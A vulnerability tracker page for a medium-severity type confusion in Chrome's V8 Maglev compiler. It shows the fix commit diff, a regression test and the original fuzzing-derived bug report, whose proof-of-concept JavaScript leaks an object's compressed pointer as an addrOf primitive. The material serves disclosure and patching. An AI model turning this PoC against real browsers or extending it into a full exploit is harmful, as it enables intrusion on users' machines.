Medium chrome Type Confusion 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactType Confusion in V8
DescriptionType Confusion in V8
ComponentV8
Bug ClassType Confusion
Tracker495751197
Fix commita068030f5179 (v8/v8) +61/-15
CISA KEVNot listed
CreditedGoogle
Disclosed2026-04-15

Changed Functions

FunctionChangeNotes
for
src/maglev/maglev-graph-builder.cc
modified
if
src/maglev/maglev-graph-builder.cc
modified
get
test/mjsunit/maglev/regress-495751197.js
modified
if
test/mjsunit/maglev/regress-495751197.js
modified
with
test/mjsunit/maglev/regress-495751197.js
modified

Files Changed

  • src/maglev/maglev-graph-builder.cc
  • src/maglev/maglev-graph-builder.h
  • src/maglev/maglev-ir.h
  • src/maglev/maglev-post-hoc-optimizations-processors.h
  • test/mjsunit/maglev/regress-495751197.js
From a068030f517914f1f3f444fcb76c24f64c3e8f24 Mon Sep 17 00:00:00 2001
From: Victor Gomes <[email protected]>
Date: Thu, 26 Mar 2026 10:39:16 +0100
Subject: [PATCH] [maglev] Use transitive IsEscaping check for inlined allocations

Check if a virtual object is escaping transitively.

Rename non-transitive function to HasEscapeUses instead.

Fixed: 495751197
Change-Id: I1df519079515b522974708f5419a81b5cbee7ade
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7702700
Reviewed-by: Marja Hölttä <[email protected]>
Commit-Queue: Victor Gomes <[email protected]>
Cr-Commit-Position: refs/heads/main@{#106064}
---

diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index c9ecaeb..2e073a5 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -4649,19 +4649,20 @@
   CHECK(!result.IsDoneWithAbort());
 }
 
-namespace {
-bool IsEscaping(Graph* graph, InlinedAllocation* alloc) {
-  if (alloc->IsEscaping()) return true;
-  auto it = graph->allocations_elide_map().find(alloc);
-  if (it == graph->allocations_elide_map().end()) return false;
+bool MaglevGraphBuilder::IsEscaping(InlinedAllocation* alloc) {
+  if (alloc->HasEscapingUses()) return true;
+  auto it = graph_->allocations_elide_map().find(alloc);
+  if (it == graph_->allocations_elide_map().end()) return false;
   for (InlinedAllocation* inner_alloc : it->second) {
-    if (IsEscaping(graph, inner_alloc)) {
+    if (IsEscaping(inner_alloc)) {
       return true;
     }
   }
   return false;
 }
 
+namespace {
+
 bool VerifyIsNotEscaping(VirtualObjectList vos, InlinedAllocation* alloc) {
   for (VirtualObject* vo : vos) {
     if (vo->allocation() == alloc) continue;
@@ -4671,7 +4672,7 @@
       if (!nested_value->Is<InlinedAllocation>()) return true;
       ValueNode* nested_alloc = nested_value->Cast<InlinedAllocation>();
       if (nested_alloc == alloc) {
-        if (vo->allocation()->IsEscaping() ||
+        if (vo->allocation()->HasEscapingUses() ||
             !VerifyIsNotEscaping(vos, vo->allocation())) {
           escaped = true;
         }
@@ -4690,6 +4691,7 @@
   if (!v8_flags.maglev_object_tracking) return false;
   if (!receiver->Is<InlinedAllocation>()) return false;
   InlinedAllocation* alloc = receiver->Cast<InlinedAllocation>();
+  if (IsEscaping(alloc)) return false;
   if (mode == TrackObjectMode::kStore) {
     // If we have two objects A and B, such that A points to B (it contains B in
     // one of its field), we cannot change B without also changing A, even if
@@ -4698,7 +4700,6 @@
         graph_->allocations_elide_map().end()) {
       return false;
     }
-    if (alloc->IsEscaping()) return false;
     // Ensure object is escaped if we are within a try-catch block. This is
     // crucial because a deoptimization point inside the catch handler could
     // re-materialize objects differently, depending on whether the throw
@@ -4707,9 +4708,6 @@
     // the try-block started,  but for now, err on the side of caution and
     // always escape.
     if (IsInsideTryBlock()) return false;
-  } else {
-    DCHECK_EQ(mode, TrackObjectMode::kLoad);
-    if (IsEscaping(graph_, alloc)) return false;
   }
   // We don't support loop phis inside VirtualObjects, so any access inside a
   // loop should escape the object, except for objects that were created since
@@ -9397,7 +9395,7 @@
     VirtualObject* array = iterated_object->Cast<InlinedAllocation>()->object();
     // TODO(victorgomes): Remove this once we track changes in the inlined
     // allocated object.
-    if (iterated_object->Cast<InlinedAllocation>()->IsEscaping()) {
+    if (IsEscaping(iterated_object->Cast<InlinedAllocation>())) {
       FAIL("allocation is escaping, map could have been changed");
     }
     // TODO(victorgomes): This effectively disable the optimization for `for-of`
@@ -12553,7 +12551,7 @@
   }
   // TODO(victorgomes): We can probably loosen the IsNotEscaping requirement if
   // we keep track of the arguments object changes so far.
-  if (alloc->IsEscaping()) return {};
+  if (IsEscaping(alloc)) return {};
   VirtualObject* object = alloc->object();
   if (!object->has_static_map()) return {};
   // TODO(victorgomes): Support simple JSArray forwarding.
diff --git a/src/maglev/maglev-graph-builder.h b/src/maglev/maglev-graph-builder.h
index a0a8261..4be7e56 100644
--- a/src/maglev/maglev-graph-builder.h
+++ b/src/maglev/maglev-graph-builder.h
@@ -1514,6 +1514,7 @@
       ValueNode* object, ValueNode* callable,
       compiler::FeedbackSource feedback_source);
 
+  bool IsEscaping(InlinedAllocation* allocation);
   VirtualObject* GetObjectFromAllocation(InlinedAllocation* allocation);
   VirtualObject* GetModifiableObjectFromAllocation(
       InlinedAllocation* allocation);
diff --git a/src/maglev/maglev-ir.h b/src/maglev/maglev-ir.h
index f28dd09..51e9cd3 100644
--- a/src/maglev/maglev-ir.h
+++ b/src/maglev/maglev-ir.h
@@ -6119,7 +6119,7 @@
     DCHECK(!HasBeenAnalysed());
     non_escaping_use_count_ += n;
   }
-  bool IsEscaping() const {
+  bool HasEscapingUses() const {
     DCHECK(!HasBeenAnalysed());
     return use_count_ > non_escaping_use_count_;
   }
diff --git a/src/maglev/maglev-post-hoc-optimizations-processors.h b/src/maglev/maglev-post-hoc-optimizations-processors.h
index a774028..715cef1 100644
--- a/src/maglev/maglev-post-hoc-optimizations-processors.h
+++ b/src/maglev/maglev-post-hoc-optimizations-processors.h
@@ -382,7 +382,7 @@
       auto* alloc = it.first;
       if (alloc->HasBeenAnalysed()) continue;
       // Check if all its uses are non escaping.
-      if (alloc->IsEscaping()) {
+      if (alloc->HasEscapingUses()) {
         // Escape this allocation and all its dependencies.
         EscapeAllocation(graph, alloc, it.second);
       } else {
diff --git a/test/mjsunit/maglev/regress-495751197.js b/test/mjsunit/maglev/regress-495751197.js
new file mode 100644
index 0000000..b6e5bae
--- /dev/null
+++ b/test/mjsunit/maglev/regress-495751197.js
@@ -0,0 +1,47 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+let do_transition = false;
+let marker = {x: 1.337};
+
+Object.defineProperty(Object.prototype, '_leak', {
+  get() {
+    if (do_transition) {
+      this[1][0] = marker;
+    }
+    return this;
+  },
+  configurable: true
+});
+
+function target(iter) {
+  return iter.next().value;
+}
+
+function inner() {
+  var leaked;
+  // Forces WithContext creation. _leak triggers the runtime call.
+  with (arguments) { leaked = _leak; }
+  return target.apply(null, arguments);
+}
+
+function outer() {
+  let a = [1.1, 2.2, 3.3];
+  let iter = a.values();
+  return inner(iter, a);
+}
+
+%PrepareFunctionForOptimization(target);
+%PrepareFunctionForOptimization(inner);
+%PrepareFunctionForOptimization(outer);
+
+outer(); outer(); outer();
+
+%OptimizeMaglevOnNextCall(outer);
+
+do_transition = true;
+let r = outer();
+assertFalse(typeof r === "number");
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/maglev/regress-495751197.js b/test/mjsunit/maglev/regress-495751197.js
new file mode 100644
index 0000000..b6e5bae
--- /dev/null
+++ b/test/mjsunit/maglev/regress-495751197.js
@@ -0,0 +1,47 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+let do_transition = false;
+let marker = {x: 1.337};
+
+Object.defineProperty(Object.prototype, '_leak', {
+  get() {
+    if (do_transition) {
+      this[1][0] = marker;
+    }
+    return this;
+  },
+  configurable: true
+});
+
+function target(iter) {
+  return iter.next().value;
+}
+
+function inner() {
+  var leaked;
+  // Forces WithContext creation. _leak triggers the runtime call.
+  with (arguments) { leaked = _leak; }
+  return target.apply(null, arguments);
+}
+
+function outer() {
+  let a = [1.1, 2.2, 3.3];
+  let iter = a.values();
+  return inner(iter, a);
+}
+
+%PrepareFunctionForOptimization(target);
+%PrepareFunctionForOptimization(inner);
+%PrepareFunctionForOptimization(outer);
+
+outer(); outer(); outer();
+
+%OptimizeMaglevOnNextCall(outer);
+
+do_transition = true;
+let r = outer();
+assertFalse(typeof r === "number");
Loading diff…

Original Bug Report

reported by [email protected]

Differential fuzz: Type Confusion in Maglev JIT via Non-transitive IsEscaping Checks

Project Fortify, an experimental security project, has identified the following potential security issue.

Overview: A potential type confusion vulnerability exists in V8’s Maglev compiler due to non-transitive IsEscaping() checks during graph building. An attacker can exploit this by nesting an array inside an escaping context, bypassing map checks, and transitioning the array’s elements kind at runtime to achieve an addrOf primitive.

Affected files:

  • src/maglev/maglev-graph-builder.cc

Estimated timestamp from git blame: 2025-11-25

Summary

A potential critical type confusion vulnerability exists in V8’s Maglev JIT compiler. The issue arises because the IsEscaping() method on InlinedAllocation objects evaluates non-transitively during the graph building phase. When a nested object (like an array stored within an arguments object, which is then stored within a WithContext) escapes transitively through its container, Maglev fails to detect this escape locally on the nested object. Consequently, Maglev incorrectly assumes the nested object’s map cannot change and omits critical speculation guards (like CheckMaps), leading to type confusion and an addrOf primitive.

Root Cause Analysis

The vulnerability centers around how Maglev determines if an inlined allocation escapes its immediate uses during graph building in v8/src/maglev/maglev-graph-builder.cc.

  1. Non-Transitive IsEscaping(): The InlinedAllocation::IsEscaping() method in maglev-ir.h simply checks use_count_ > non_escaping_use_count_. During graph building, when object A is stored into object B (e.g., via AddNonEscapingUses), A’s non_escaping_use_count_ is incremented. If B subsequently escapes (e.g., by being passed to a CallRuntime node which only increments B’s use_count_), B is correctly marked as escaping. However, this escape status is not propagated back to A during graph building. A->IsEscaping() continues to return false.

  2. Omitted Map Checks: In TryReduceArrayIteratorPrototypeNext, Maglev checks if the iterated_object is an InlinedAllocation and if IsEscaping() is false. If false, it trusts the compile-time map of the object (e.g., PACKED_DOUBLE_ELEMENTS) and completely omits emitting a CheckMaps guard before building the element load operations.

  3. The Escape Path: An attacker can craft a scenario where:

    • An array of doubles (a) and its iterator are passed to an inner function.
    • The inner function uses with (arguments) { ... }, forcing Maglev to create a WithContext (InlinedAllocation) that contains the arguments object.
    • Inside the with block, a property lookup triggers a CallRuntime(Runtime::kLoadLookupSlot), passing the WithContext as an argument. The WithContext now escapes.
    • The runtime call executes a user-defined getter (e.g., on Object.prototype).
  4. Type Confusion: While executing the user-defined getter in the runtime/interpreter, the attacker accesses the array a via the arguments object and stores a non-Number object into it. This forces a map transition from PACKED_DOUBLE_ELEMENTS to PACKED_ELEMENTS.

  5. Exploitation: When the runtime call returns to the Maglev-compiled code, it proceeds to execute an inlined iter.next() call. Because the CheckMaps guard was omitted (step 2), Maglev blindly reads an 8-byte chunk from the array’s backing store using a double-precision float load instruction. Since the array now contains 32-bit compressed object pointers, Maglev returns these pointers to the attacker as a Javascript Number, yielding a reliable addrOf primitive.

Potential Exploitation Steps

(Note: These are suggested potential steps, as our setup cannot execute the code directly.)

An attacker could use the following Proof of Concept (PoC) to trigger the vulnerability and leak the compressed pointer of an arbitrary object (marker):

// FLAGS: --allow-natives-syntax

let do_transition = false;
let marker = {x: 1.337};

Object.defineProperty(Object.prototype, '_leak', {
  get() {
    if (do_transition) {
      this[1][0] = marker;   // PACKED_DOUBLE -> PACKED_ELEMENTS transition
    }
    return this;
  },
  configurable: true
});

function target(iter) {
  return iter.next().value;
}

function inner() {
  var leaked;
  // Forces WithContext creation. _leak triggers the runtime call.
  with (arguments) { leaked = _leak; }
  return target.apply(null, arguments);
}

function outer() {
  let a = [1.1, 2.2, 3.3];
  let iter = a.values();
  return inner(iter, a);
}

%PrepareFunctionForOptimization(target);
%PrepareFunctionForOptimization(inner);
%PrepareFunctionForOptimization(outer);

outer(); outer(); outer();

%OptimizeMaglevOnNextCall(outer);
do_transition = true;
let r = outer();

if (typeof r === "number" && r !== 1.1) {
  let f64 = new Float64Array(1);
  f64[0] = r;
  let u32 = new Uint32Array(f64.buffer);
  console.log("lo32: 0x" + u32[0].toString(16).padStart(8, '0') + " (compressed ptr to marker)");
  console.log("hi32: 0x" + u32[1].toString(16).padStart(8, '0'));
}

Proposed Fix

The fundamental issue is relying on a non-transitive IsEscaping() check to omit map speculation guards during graph building. EscapeAnalysis (which accurately computes transitive escapes) runs as a post-hoc processor, which is too late to insert missing guards.

Potential fixes include:

  1. Conservatively Disable the Optimization: In TryReduceArrayIteratorPrototypeNext, disable the optimization that omits CheckMaps if the object is an InlinedAllocation. Always emit CheckMaps unless it can be proven definitively (e.g., via the later EscapeAnalysis pass or a more robust early check) that the object cannot escape.
  2. Propagate Escapes During Graph Building: Modify the graph building phase so that when an InlinedAllocation (like WithContext) escapes (e.g., its use_count_ increases without a corresponding non_escaping_use_count_ increase), this escape status is transitively propagated to all nested InlinedAllocation dependencies immediately, rather than waiting for the post-hoc EscapeAnalysis pass.
  3. Restrict IsEscaping(): Modify IsEscaping() to return true (or “unknown”) if the object is stored inside another InlinedAllocation whose escape status is not definitively known or cannot be tracked during graph building.

Evaluated with Chrome root at commit: 9760e6c70cd33a320713361f17c6dcca85648c0f


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. Please feel free to reach out to me if you have concerns or feedback.

View on issue tracker